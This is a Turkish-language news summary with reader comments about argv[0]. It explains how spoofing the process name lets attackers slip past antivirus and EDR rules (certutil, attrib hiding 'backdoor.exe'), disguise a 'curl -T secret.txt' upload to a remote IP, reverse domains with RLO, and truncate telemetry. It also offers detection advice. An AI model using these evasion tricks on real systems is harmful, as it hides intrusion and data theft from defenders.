9 puan yazan GN⁺ 2024-09-04 | 2 yorum | WhatsApp'ta paylaş
  • Komut satırı tuhaftır
  • Windows özellikle bu tür sorunlarla ünlüdür, ancak çoğu işletim sisteminin komut satırını uygulama biçimi güvenlik sorunlarına yol açabilir
  • Bu yazı, bir sürecin komut satırındaki ilk argümanı olan argv[0]'ın süreç adını temsil edecek şekilde ayrılmış olması geleneğinin sorunlarını açıklıyor

argv[0] geçmişten kalma bir kalıntıdır

  • Bir program başladığında komut satırı argümanlarını alır ve bunları program içinde erişilebilir hale getirir; bu, program başlatıldığında sunulan ilk bilgilerden biridir
    • Programın yürütme akışını değiştiren başlıca mekanizmalardan biridir
  • POSIX ve DOS/Win32'de benimsenen exec sistem çağrısı ailesine bakarsak
    • int execv(const char *path, char *const argv[]);
    • Bu execv fonksiyonunu çağırmak için çalıştırılacak uygulamanın tam yolunu path olarak, argümanları içeren vektörü ise argv olarak programa vermeniz gerekir ve bir durum kodu içeren tamsayı döndürür
    • Bu tanıma göre, bu çağrının sonucunda program başarıyla çalıştırılırsa hedef program şu şekilde çağrılır: int main (int argc, char *argv[]);
  • Tüm C standartlarında argc negatif değildir, argv[argc] null pointer'dır ve argc 0'dan büyükse argv[0] çağrılan programın adını temsil eder
  • Bazıları argv[0]'ın gerekliliğini sorgulayabilir
    • "Yeni süreç zaten kendi adını biliyorken neden onu çağıran sürecin ilk süreç argümanı olarak iletilmesi gerekiyor?"
    • POSIX ortamlarında programlar sembolik bağlantılar üzerinden çağrılabilir; bu, yeni sürecin hangi isteği aldığını bilmesine yardımcı olan bir mekanizmadır
    • Örneğin Debian'da shutdown ve reboot, aynı systemctl çalıştırılabilir dosyasına bağlantılıdır ve çağrılan komuta göre farklı davranır
  • Bu, şüpheli bir tasarım kararı gibi görünüyor
    • "Bir program kendi adına göre farklı davranmalı mı?"
    • Modern bakış açısından bu, yazılımın öngörülebilirliğini azaltır ve modern tasarım ilkelerine aykırı görünür
    • 1970'ler ve 1980'lerdeki bakış açısından, bilgisayar kaynakları kıt olduğu için yinelenmeyi en aza indirme çabası olarak görülebilir
    • Ancak bugün disk alanı sorunu pek öne çıkmıyor. Örneğin macOS Sonoma'da shutdown ve reboot ayrı çalıştırılabilir dosyalar olarak bulunuyor
    • Birbirine benzer iki programı tek bir dosyada birleştirmenin gerçekten gerekli olup olmadığı ya da komut argümanı yaklaşımının daha uygun olup olmadığı tartışmalıdır
  • Bu ilkeyi kabul etsek bile uygulamanın kendisi de tartışmalıdır
    • argv[0] bilgisinin süreç argümanlarının bir parçası olarak sunulup sunulmaması sorgulanabilir
    • argv[0]'a bağımlı programlar, çağıran süreç bunu doğru ayarlamazsa hatalı davranabilir
    • Güvenlik açısından argv[0]'ı yanlış kullanan programlar da vardır
    • Daha iyi bir yaklaşım, argv[0]'ı ayrı bir task_struct veya PEB özelliği olarak ayırıp bu değerin işletim sistemi tarafından yönetilmesini sağlamaktır
      • Bu, tutarlı izleme sağlar ve manipülasyon alanını azaltır
  • Buna en çok yaklaşan işletim sistemi şaşırtıcı biçimde Windows'tur
    • Windows, diğer ana akım işletim sistemlerinden farklı olarak yeni bir süreç oluştururken argv[0]'ı ayarlamaz
    • Windows API çağrıları (CreateProcess, ShellExecute), argv[0]'ı çalıştırılabilir dosya yoluna göre otomatik olarak ayarlar
    • Bu en mantıklı uygulama gibi görünse de Windows da POSIX exec çağrılarını benimsediği için argv[0]'ı elle ayarlamanın bir yolu vardır

argv[0] yok sayılır (çoğu durumda)

  • argv[0]'ın önemi konusunda ne düşünürseniz düşünün, pratikte argv[0] var olan bir kavramdır ve beraberinde sorunlar getirir
  • exec çağrısında yukarıda belirtilen üç koşuldan ilk ikisi işletim sistemi tarafından ele alınır, ancak argv[0] ile ilgili son koşul yönetilmez
  • exec çağıranı argv üzerinde tam kontrole sahip olduğu için bu gereksinimi yok sayabilir ve ne işletim sistemi ne de çağıran/çağrılan program bu ihlali kontrol eder
  • argv[0]'ın yok sayılmasına örnek
    • Hello, world! yazdırmak için echo kullanıldığında normalde execv("/usr/bin/echo", ["echo", "Hello, world!"]) çağrılır
    • Ancak execv("/usr/bin/echo", ["oopsie", "Hello, world!"]) çağrıldığında da echo programı normal şekilde çalışır ve Hello, world! yazdırılır
    • echo programı argv[0]'ı yok sayar ve yalnızca argv[1] ve sonrasındaki argümanlara odaklanır
    • Programların çoğu, argv[0]'ı yok sayan benzer bir yaklaşım benimser
  • argv[0] manipülasyonu örnekleri
    • C dili dahil birçok programlama ve betik dilinde argv[0]'ı manipüle etmenin yolları vardır:
    python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])"  
    perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"'  
    ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')"  
    bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'  
    
  • argv[0]'ı manipüle etmek kolaydır ve çoğu programın çalışmasını etkilemez. Ancak güvenlik açısından sorun yaratabilir

argv[0] savunma mekanizmalarını bozabilir

  • argv[0], güvenlik yazılımlarını kandırmak için kullanılabilir. Kötü niyetli bir kullanıcı sistemi ele geçirirse saldırganın komutlarını çalıştırarak sistemi manipüle eder
  • AV ve EDR gibi savunma yazılımları süreç yürütmelerini izler ve belirli komutları zararlı görürse bunları tespit eder veya engeller. Çoğu çözüm, saldırganların sık kullandığı komutları etkin biçimde tespit eder
  • Örnek: certutil komutunun kötüye kullanımı
    • Windows'un varsayılan yerleşik komut satırı araçlarından biri olan certutil, saldırılarda sık kullanılır. İlk erişim sağlandıktan sonra dış payload'ları indirmek için bir araç olarak kullanılır
    • Microsoft Defender Antivirus, dosya indirme girişimini gösteren komut satırı argümanları varsa certutil çalıştırılmasını engeller. Ancak argv[0] boşluk olarak ayarlanıp certutil başlatılırsa Defender bunu engellemez
    • Bu, güvenlik tespitinin program adını komut satırının bir parçası saymasından kaynaklanan bir sorunu gösterir. Örneğin tespit mantığı command_line.contains('certutil') AND command_line.contains('-urlcache') şeklindeyse, certutil'in komut satırının bir parçası olduğu varsayılır. Oysa argv[0] manipüle edilerek bu mantık atlatılabilir
    • Daha etkili bir tespit mantığı process_path.endswith('certutil.exe') AND command_line.contains('-urlcache') gibi kurulmalıdır
  • argv[0] üzerinden tespitten kaçınma
    • Tespitten kaçınma, argv[0]'a ayar amaçlı anahtar kelimeler eklenerek de mümkün olabilir. Tespitler genellikle yanlış pozitifleri elemek için temel koşulları ek koşullarla birleştirir
    • Örneğin attrib.exe bir dosyayı gizlediğinde bir tespit kuralı tetiklenebilir. Ancak bu araç gerçekte desktop.ini dosyası için meşru şekilde sık çalıştırılır
    • Bunu bilen bir saldırgan, tespiti atlatmak için argv[0] içine desktop.ini ekleyebilir. Örneğin argv = ['attrib_\desktop.ini', '+H', 'backdoor.exe'] olarak ayarlanabilir

argv[0] ile yanıltma mümkün

  • argv[0], yalnızca güvenlik yazılımlarını değil, insanları da kandırmak için kötüye kullanılabilir
  • Güvenlik analistleri, EDR yazılımlarının ürettiği uyarıları inceler; bu uyarılar ilgili sürecin komut satırını da içerir
  • Bir sürecin komut satırı, analistin uyarıyı daha fazla araştırıp araştırmayacağına ya da yok sayıp saymayacağına karar vermesinde kritik bilgidir
  • Örnek: komut satırı yanıltmacası
    • Veri sızdırma olasılığına ilişkin bir uyarı, curl -T secret.txt 123.45.67.89 komutu çalıştırıldığında oluşabilir. Bu komut secret.txt dosyasını 123.45.67.89 IP adresine yükler
    • Aynı senaryoda argv[0] curl yerine curl localhost | grep olarak değiştirilirse, bu hâlâ geçerli bir komut olur
    • Güvenlik yazılımı komut satırı dizisini boşluklarla ayrılmış bir metin olarak gösterdiğinden, bu durumda komut büyük olasılıkla curl localhost | grep -T secret.txt 123.45.67.89 gibi görünecektir
    • Analistin gözünden bakıldığında bu, curl localhost çalıştırılıp sonucunun grep -T secret.txt 123.45.67.89 komutuna aktarıldığı izlenimini verebilir. Oysa gerçekte yapılan şey bilgiyi uzak bir adrese yüklemektir; buna rağmen yerel bir adresten indirme gibi yanlış anlaşılabilir
  • Right-To-Left Override (RLO) karakterinin kullanımı
    • Kötü şöhretli RLO (sağdan sola yeniden sıralama) karakteri kullanılarak argv[0] manipüle edilebilir
    • Bu Unicode karakteri, görüntüleyen uygulamaya kendisinden sonraki karakterleri ters sırada göstermesini söyler
    • argv[0] içine RLO eklenirse ping moc.elgoog.some-evil-website.com, ping moc.etisbew-live-emos.google.com gibi görünebilir
    • Bu yöntem tespit mantığını etkilemez, ancak analisti kandırma potansiyeline sahiptir
  • Bu tür teknikler, kötü niyetli etkinliği gizlemek için argv[0]'ın güvenlik yazılımlarını ve insan gözünü aldatacak çeşitli şekillerde manipüle edilebildiğini gösteriyor

argv[0] telemetriyi bozabilir

  • argv[0], komut satırının en başında yer aldığı için, argv[0] yeterince karakterle doldurulursa diğer tüm argümanlar komut satırının sonuna itilebilir
  • Bu iki nedenle sorun yaratabilir: Önce ilginç kısım komut satırının sonuna “gizlenerek” analistin kaydırma yapmaması umulabilir; daha önemlisi ise komut satırının toplam uzunluğu yeterince artırılarak izleme yazılımının gerçekten önemli argümanları kesmesi sağlanabilir
  • Komut satırı uzunluk sınırları
    • Windows 7'den beri Windows'ta komut satırının azami uzunluğu 14.336 karakterle (yaklaşık 14 KiB) sınırlıdır
    • Linux çekirdeğinde azami uzunluk 32 sayfa boyutu olarak hardcode edilmiştir; bu da 64 bit mimaride yaklaşık 131.072 karaktere (128 KiB) denk gelir
    • macOS Sonoma azami 1.048.576 karakterlik (1 MiB) komut satırına izin verir
    • Bu da argv[0]'ın kaplayabileceği keyfi alanın oldukça fazla olduğu anlamına gelir
  • Telemetri bozulması örnekleri
    • Süreç izleme yazılımları (ör. EDR), uzun komut satırı yürütmelerini bütünüyle kaydedebilir ya da ek yükü azaltmak için sabit bir uzunlukta kesebilir
    • Uzun komut satırlarının tamamı kaydedilirse, yalnızca azami komut satırı uzunluğu kullanılarak 1.000 süreç başlatmak 1GiB günlük verisi üretebilir
    • Kesme uygulanıyorsa komut satırı argümanları telemetride kırpılabilir. Örneğin perl -e 'exec {"echo"} "_"x50000, "Hello, world!"' komutu “Hello, world!” yazdırır, ancak yürütmeye ait telemetride yalnızca alt çizgiler kaydedilebilir ya da bazı durumlarda tamamen boş bir komut satırı görünebilir
    • Böylece gerçekte önemli olan komut satırı argümanları ortada görünmez; sonuç olarak tespit mantığı da analistler de gerçekte ne olduğunu anlayamaz

argv[0]'ın riskleri: önleme ve tespit

  • argv[0], bir sorunu çözmeye çalışırken başka birçok soruna yol açar
  • argv[0]'ın yakın zamanda ortadan kalkması pek olası görünmediği için, güvenlik açısından bununla nasıl başa çıkılacağına odaklanmak gerekir
  • Önleyici tedbirler
    • Yazılım geliştiriciler argv[0]'ın kendi dosya adıyla eşleşip eşleşmediğini karşılaştırarak manipülasyonu kontrol edebilir, ancak bu ölçeklenebilir değildir
    • İşletim sistemi bu kontrolü daha güvenilir şekilde yapabilir. Program akışını değiştirmek için argv[0]'a dayanmak kesinlikle önerilmez
    • Geliştiricilerin mümkün olduğunca argv[0] ile etkileşime girmemesi en doğrusudur
  • Güvenlik uzmanları için tespit yöntemleri
    • argv[0]'ın nasıl çalıştığını ve ne tür sorunlara yol açtığını bilmek, komut satırı yanıltmasını önlemede önemli bir adımdır
    • Güvenlik yazılımı komut satırı argümanlarını bir dizi olarak sunuyorsa belirli kalıplar güvenilir biçimde tanımlanabilir
    • Aşırı uzun argv[0] değerleri ya da pipe karakteri gibi şüpheli karakterler içeren değerler derhal şüpheli olarak işaretlenmelidir
    • Komut satırı argümanları bir metin olarak sunuluyorsa, program adını içermeyen komut satırları da işaretlenebilir. Bu, argv[0]'ın manipüle edildiğine işaret eder
    • RLO karakterinin varlığı tek başına çoğu ortamda yüksek etkili bir tespit yöntemidir
    • Kırpılmış komut satırı argümanları söz konusu olduğunda, güvenlik çözümlerinin ve data lake'lerin bunları nasıl işlediğini ve oluşan telemetriyi nasıl etkilediğini anlamak gerekir
  • Savunma yazılımlarının iyileştirilmesi
    • Savunma yazılımları argv[0] kötüye kullanımına yönelik tespiti geliştirmelidir. Şüpheli argv[0] değerleriyle yazılım çalıştırılmasını engellemek mümkün olmalı ve bu yanlış pozitif üretmemelidir
    • EDR platformları, komut satırı argümanlarını raporlarken argv[0]'ı hariç tutmayı da değerlendirmelidir. Bu, bu yazıda vurgulanan sorunların çoğunu ortadan kaldırır ve adli analiz değeri de çoğu durumda düşüktür
  • Sonuç olarak hiç kimse argv[0] yüzünden baş ağrısı yaşamak istemez. Yazılımlarımız da istemez

GN⁺ özeti

  • argv[0], geçmişten kalma bir kalıntıdır ve modern yazılım tasarım ilkeleriyle çelişir
  • Programların çoğu argv[0]'ı yok saysa da bu güvenlik sorunlarına yol açabilir
  • argv[0], güvenlik yazılımlarını ve insanları kandırabilir, ayrıca telemetriyi bozabilir
  • Güvenlik uzmanları argv[0] kötüye kullanımını tespit etmeli, savunma yazılımları da bunu daha iyi ele almalıdır

2 yorum

 
scari 2024-09-05

Galiba ben eski kafalıyım... yazarın iddiasına pek katılamıyorum. Sorun exec, ama kıvılcımın argv[0]a sıçradığı hissine kapılıyorum.

 
GN⁺ 2024-09-04
Hacker News görüşleri
  • argv[0] okunmasına yönelik itirazlar, yazarın bilgisizliğini ya da güçlü bir savunma gereksinimini gösteriyor

    • busybox'ın OpenWrt kutularında 16MB kök dosya sistemiyle nasıl çalışması gerektiği sorgulanıyor
    • argv[0] değerinin kullanımını sınırlamaya yönelik tartışmalar dikkate değer
    • Saldırganlar yine de güvenlik önlemlerini aşabilir
  • argv[0], yüzlerce komutun sembolik bağlantı hedefi olması için kullanılıyor

    • Android bunu yaygın kabuk komutlarının çoğu için kullanıyor
    • Toybox ve busybox buna örnek
  • argv[0] kullanan araçlar üzerinden konteyner içinden host komutları çalıştırılabiliyor

    • Örnek: flatpak komutu host üzerinde çalışacak şekilde ayarlanabiliyor
  • Programın adına göre farklı davranması bir sorun değil

    • Program adını çağrı argümanı olarak dahil etmek çok kullanışlı
  • argv[0] itirazlarının, bunun modern tasarım ilkelerine aykırı olduğu iddiasına dayandığı söyleniyor

    • Sembolik bağlantı varsa, programın nasıl çağrıldığını bilmesi makul
    • Python, argv[0] kullanarak virtualenv içinde olup olmadığını kontrol ediyor ve arama yolunu ayarlıyor
  • argv[0], güvenlik açısından özellikle kötü değil

    • Güvenlik yazılımlarını argv değerlerini tırnak içine alacak şekilde düzeltmek daha iyi
  • argv[0] ile ilgili bir sorun yok

    • Çoğu kişi komut sürümünü ayırt etmek için argv[0] kullanıyor
  • busybox, "shim" modunda argv[0] kullanıyor

    • Güvenlik sorunu açısından SELinux gibi daha derin güvenlik mekanizmalarını kullanmak daha önemli
  • macOS, birden fazla komutun tek bir yürütülebilir dosyayı işaret etmesini sağlayacak şekilde yapılandırılmış

    • argv[0] kullanarak CLI kullanılabilirliğini artırıyor ve kod tekrarını azaltıyor
  • argv[0] kaldırılırsa faydalı işlevler kaybedilir

    • Ağ güvenliği ağ katmanında ele alınmalı
    • argv[0] kaldırılsa bile saldırganlar başka yollar bulacaktır